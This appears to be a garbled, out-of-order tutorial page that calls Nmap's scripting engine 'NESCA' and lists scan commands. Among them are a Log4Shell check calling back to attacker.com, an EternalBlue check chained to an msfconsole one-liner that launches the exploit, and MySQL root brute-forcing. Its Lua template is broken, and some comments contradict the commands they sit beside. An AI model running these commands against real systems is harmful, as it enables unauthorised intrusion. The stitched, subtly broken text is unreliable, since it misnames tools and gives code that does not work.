Nesca Scanner 〈DELUXE 2025〉

nmap -sV --script=vuln,exploit --script-args vulns.showall=true -p- -T4 -oA full_vuln_scan <target> Add this to your toolkit today, and you’ll never look at Nmap as “just a port scanner” again. Need help with a specific NESCA script or custom development? Check the official Nmap documentation or the Nmap-dev mailing list.

nmap -sV --script vuln target.com Output example: mysql-vuln-cve2012-2122: MySQL 5.1.51 allows authentication bypass. nmap -sV --script http-log4shell --script-args http-log4shell.callback-server=attacker.com target.com Use Case 3: SMB EternalBlue Check (MS17-010) nmap -p445 --script smb-vuln-ms17-010 target.com Use Case 4: Web Application Fuzzing nmap -p80 --script http-enum,http-sql-injection,http-xssed target.com 5.

Advanced NESCA Techniques Parallel Script Execution with Timing Templates nmap -sV --script vuln -T4 --min-parallelism 100 -oA scan_results target.com Using Script Arguments nmap -p3306 --script mysql-empty-password,mysql-brute --script-args brute.mode=user,brute.users=root target.com Custom Output Parsing (Grepable + XML) nmap -sV --script vuln -oX results.xml target.com # Convert to CSV using xsltproc: xsltproc results.xml -o results.html Combining with Metasploit nmap -sV --script smb-vuln-ms17-010 target.com --open | grep VULNERABLE # If vulnerable, launch Metasploit: msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS target.com; run" 7. Writing Your Own NESCA Script (Lua Template) Creating a custom vulnerability check is straightforward. Here’s a template for a fictional CVE: nesca scanner

portrule = shortport.http

local report = vulns.Report:new(SCRIPT_NAME, host, port) local payload = "GET / HTTP/1.1\r\nHost: " .. host.ip .. "\r\nX-Hack: \r\n\r\n" local response = http.get(host, port, "/", header = ["X-Hack"] = "") nmap -sV --script=vuln,exploit --script-args vulns

Use NESCA for rapid reconnaissance, CI/CD pipelines, and targeted exploitation checks. Use traditional scanners for compliance audits. 4. Practical Use Cases for NESCA Use Case 1: The 30-Second Vulnerability Scan Scan a target for all known vulnerabilities without touching exploit code: nmap -sV --script vuln target
